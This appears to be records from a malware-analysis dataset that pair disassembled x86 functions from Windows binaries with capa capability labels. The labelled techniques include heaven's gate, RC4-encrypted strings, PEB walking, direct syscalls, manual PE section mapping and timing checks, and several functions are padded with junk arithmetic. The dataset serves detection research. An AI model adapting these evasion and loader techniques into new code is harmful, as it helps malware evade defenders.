joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100408eb
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1004091b
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push 1
push 0x7e3f
push 0x335f
call fcn.10040a26
add esp, 0x10
jmp 0x10040a22
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x10040a14
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x86d40de8
mov eax, 0xaf8b5131
cmp eax, 0x86d40de8
jbe 0x10040983
mov dword [ebp - 0xc], 1
jmp 0x10040987
and dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0xffffffff
jg 0x10040996
mov dword [ebp - 0x10], 1
jmp 0x1004099a
and dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], 0x5425
jl 0x100409ac
mov dword [ebp - 0x14], 1
jmp 0x100409b0
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add eax, 0x8cb4
cmp eax, 1
jge 0x100409c6
mov dword [ebp - 0x18], 1
jmp 0x100409ca
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x18], eax
jl 0x100409dd
mov dword [ebp - 8], 1
jmp 0x100409e1
and dword [ebp - 8], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
cmp dword [ebp - 8], 0
jne 0x100409fd
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x100409fd
and dword [ebp - 0x1c], 0
jmp 0x10040a04
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
imul eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x10040a22
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov esp, ebp
pop ebp
ret
Function at 0x10046a3a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10046ae8
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10046a8e
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10046a8c
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x10046ae6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
push dword [eax]
mov eax, dword [ebp - 0x28]
push dword [eax]
push dword [ebp - 0x2c]
push 0x24ef
push 0x3794
push 0x3a67
push 1
push 0
push 1
push 0x7c7a
push 0x2633
call fcn.1003db18
add esp, 0x2c
jmp 0x10046af0
push 0
call fcn.1003aaa6
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x10047a8e
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10047adb
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10047acb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x10047ad9
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x10047b01
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push 0x1930
push 0
push 0xac8
push dword [ebp - 0x18]
call fcn.1003989f
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x1006bf89
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10076740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1005d578
mov dword [ebp - 0x14], eax
cmp dword [0x10619dec], esi
jne 0x1006c07c
push 0x800
push esi
push 0x10007670
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1006c009
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1006c15c
push esi
push esi
push 0x10007670
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1006c15c
push 0x10007688
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1006c15c
push eax
call ebx
push 0x10007694
push edi
mov dword [0x10619dec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100076a4
push edi
mov dword [0x10619df0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100076b8
push edi
mov dword [0x10619df4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10619dfc], eax
test eax, eax
je 0x1006c079
push 0x100076d4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10619df8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1006c0a1
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1006c094
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1006c0b6
push 4
pop eax
jmp 0x1006c15e
cmp dword [ebp - 0x14], esi
je 0x1006c0b6
push dword [0x10619dec]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1006c09b
mov eax, dword [0x10619df8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1006c114
cmp dword [0x10619dfc], edi
je 0x1006c114
push eax
call ebx
push dword [0x10619dfc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1006c114
test eax, eax
je 0x1006c114
call ecx
test eax, eax
je 0x1006c109
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1006c109
test byte [ebp - 8], 1
jne 0x1006c114
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1006c144
mov eax, dword [0x10619df0]
cmp eax, edi
je 0x1006c141
push eax
call ebx
test eax, eax
je 0x1006c141
call eax
mov esi, eax
test esi, esi
je 0x1006c141
mov eax, dword [0x10619df4]
cmp eax, edi
je 0x1006c141
push eax
call ebx
test eax, eax
je 0x1006c141
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10619dec]
call ebx
test eax, eax
je 0x1006c15c
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1006c15e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005ac3f
mov esp, ebp
pop ebp
ret
Function at 0x4016b0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x4016d8
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x4016e6
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x4016ff
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x40170d
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x401726
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x401734
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x40174d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x40175b
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call fcn.004017a2
Function at 0x402630
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x81f23c]
sub esp, 0x11c
test eax, eax
jne 0x40272e
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.004027e0
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x402680
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41b100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x402690
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41b104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x4026c5
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.00402860
pop edi
pop esi
pop ebx
test eax, eax
je 0x402729
mov eax, dword [eax + 0x18]
test eax, eax
je 0x402729
mov dword [0x81f23c], eax
add esp, 0x11c
ret
mov eax, dword [0x81f23c]
add esp, 0x11c
ret

Function at 0x402860
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x4028bb
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402880
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x40289c
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402770
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x4028dd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x40294f
mov esi, dword [ebx]
cmp esi, ebx
je 0x40294f
test esi, esi
je 0x40294f
cmp word [esi + 0x24], 2
jbe 0x402949
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x402949
cmp dword [esi + 0x18], 0
je 0x402949
test ebp, ebp
je 0x402905
cmp ebp, eax
jne 0x402949
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402770
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x40292a
cmp edx, dword [esi + 0x18]
jne 0x402949
cmp dword [esp + 0x14], eax
je 0x40295c
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004019c0
add esp, 8
test eax, eax
je 0x40295c
mov esi, dword [esi]
cmp esi, ebx
jne 0x4028e3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
Function at 0x402da0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x81e808]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x402f4d
cmp dword [0x81e80c], 0
jne 0x402f39
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.004027e0
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x402df0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41b0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x402e00
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41b0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x402e35
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004027e0
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402e94
sub edx, esi
sar edx, 1
je 0x402f4d
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x402eb0
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x402f4d
xor eax, eax
push ebx
test edx, edx
je 0x402ee8
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x402ee8
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x402ed1
xor eax, eax
test edx, edx
je 0x402f02
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x402f02
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402ef0
xor eax, eax
test edx, edx
je 0x402f1f
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x402f1f
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402f10
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x81e808]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x403380
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x4033cb
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x4033bb
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x4033a1
jmp 0x4033c0
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x40341b
mov edi, edx
lea ecx, [edi + 2]
jmp 0x4033e0
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x4033e0
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x4033fc
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402770
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40343d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4034b0
mov esi, dword [ebx]
cmp esi, ebx
je 0x4034b0
test esi, esi
je 0x4034b0
cmp word [esi + 0x24], 2
jbe 0x4034aa
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4034aa
cmp dword [esi + 0x18], 0
je 0x4034aa
test ebp, ebp
je 0x403465
cmp ebp, eax
jne 0x4034aa
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402770
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40348a
cmp eax, dword [esi + 0x18]
jne 0x4034aa
cmp dword [esp + 0x10], 0
je 0x4034bd
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004019c0
add esp, 8
test eax, eax
je 0x4034bd
mov esi, dword [esi]
cmp esi, ebx
jne 0x403443
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x403780
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x81e948
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x4038a9
cmp dword fs:[0xc0], eax
je 0x4037ab
mov dword [0x81e944], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x81e82c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x81e830], eax
movzx edx, word [esi + 0xac]
mov dword [0x81e834], edx
mov eax, dword [esi + 0xb0]
mov dword [0x81e838], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x40380b
push 0x7f
push eax
push 0x81e83c
call fcn.00402770
mov edx, dword [0x81e834]
add esp, 0xc
jmp 0x403813
xor eax, eax
mov word [0x81e83c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x81e93c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x81e93e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x81e940], ax
mov ecx, eax
mov byte [0x81e942], 0
cmp byte [0x7ffe0268], 0
je 0x40385a
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x81e942], bl
cmp ebx, 1
pop ebx
jne 0x403874
and ecx, 0xffef
mov word [0x81e940], cx
test edx, edx
jne 0x4038a9
call fcn.00403780
cmp dword [0x81e82c], 6
ja 0x4038a9
jb 0x403891
cmp dword [0x81e830], 4
jae 0x4038a9
call fcn.00403780
cmp dword [0x81e82c], 0xa
jae 0x4038a9
mov dword [0x81e834], 1
ret
Function at 0x41a0f2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x4028a5
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp + 0x10]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [0x408040]
imul eax, dword [0x408040]
sub eax, 3
mov dword [0x40803c], eax
mov eax, dword [0x408040]
add eax, 7
mov dword [0x40803c], eax
and dword [ebp - 0x14], 0
jmp 0x402900
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
add eax, 0x28
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x14], eax
jge 0x402a9d
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
cmp dword [eax + 0x10], 0
jne 0x402a0a
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
mov eax, dword [0x408040]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x408040], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
mov dword [ebp - 4], eax
mov eax, dword [0x40803c]
sub eax, 4
mov dword [0x408040], eax
cmp dword [ebp - 4], 0
jle 0x4029f8
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
mov eax, dword [0x408040]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x408040], eax
push 4
push 0x1000
push dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [0x40803c]
imul eax, eax, 0x63
mov dword [0x40803c], eax
mov eax, dword [0x408040]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x408040], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
mov eax, dword [0x408040]
shl eax, 1
mov dword [0x40803c], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 4]
push 0
push dword [ebp - 0xc]
call fcn.004036f8
add esp, 0xc
mov eax, dword [0x408040]
shl eax, 3
mov dword [0x408040], eax
jmp 0x4028f0
mov eax, dword [0x40803c]
imul eax, dword [0x408040]
mov ecx, dword [0x408040]
imul ecx, ecx, 5
sub eax, ecx
mov dword [0x40803c], eax
push 4
push 0x1000
mov eax, dword [ebp - 8]
push dword [eax + 0x10]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [0x408040]
add eax, 7
mov dword [0x40803c], eax
mov eax, dword [ebp - 8]
push dword [eax + 0x10]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
push dword [ebp - 0xc]
call fcn.004036ba
add esp, 0xc
mov eax, dword [0x40803c]
imul eax, eax, 0x63
mov dword [0x40803c], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
mov eax, dword [0x408040]
imul eax, dword [0x408040]
sub eax, 3
mov dword [0x40803c], eax
jmp 0x4028f0
mov eax, dword [0x40803c]
mov ecx, dword [0x408040]
lea eax, [ecx + eax - 9]
mov dword [0x40803c], eax
leave
ret
Function at 0x402d12
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
add eax, 0xa0
mov dword [ebp - 0xc], eax
mov eax, dword [0x408040]
shl eax, 1
mov dword [0x40803c], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax + 4], 0
jbe 0x402eea
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov eax, dword [0x40803c]
mov ecx, dword [0x408040]
lea eax, [ecx + eax - 9]
mov dword [0x40803c], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
jbe 0x402eea
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x10]
add eax, 8
mov dword [ebp - 0x18], eax
mov eax, dword [0x408040]
add eax, 7
mov dword [0x40803c], eax
mov eax, dword [0x408040]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x408040], eax
and dword [ebp - 8], 0
jmp 0x402db9
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
cmp dword [ebp - 8], eax
jae 0x402e98
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
mov eax, dword [0x40803c]
mov ecx, dword [0x408040]
lea eax, [ecx + eax - 9]
mov dword [0x40803c], eax
mov eax, dword [ebp - 0x18]
movzx eax, word [eax]
sar eax, 0xc
mov dword [ebp - 0x20], eax
push 0x40f320
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [0x40803c]
imul eax, dword [0x408040]
mov ecx, dword [0x408040]
imul ecx, ecx, 5
sub eax, ecx
mov dword [0x40803c], eax
mov eax, dword [ebp - 0x18]
movzx eax, word [eax]
and eax, 0xfff
mov dword [ebp - 0x24], eax
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
je 0x402e4a
jmp 0x402e93
mov eax, dword [0x408040]
shl eax, 1
mov dword [0x40803c], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x408040]
add eax, 7
mov dword [0x40803c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [0x408040]
shl eax, 3
mov dword [0x408040], eax
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
jmp 0x402daa
push 0x40f320
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [0x40803c]
imul eax, dword [0x408040]
mov ecx, dword [0x408040]
imul ecx, ecx, 5
sub eax, ecx
mov dword [0x40803c], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
mov eax, dword [0x408040]
shl eax, 3
mov dword [0x408040], eax
jmp 0x402d66
mov eax, dword [0x408040]
imul eax, dword [0x408040]
sub eax, 3
mov dword [0x40803c], eax
leave
ret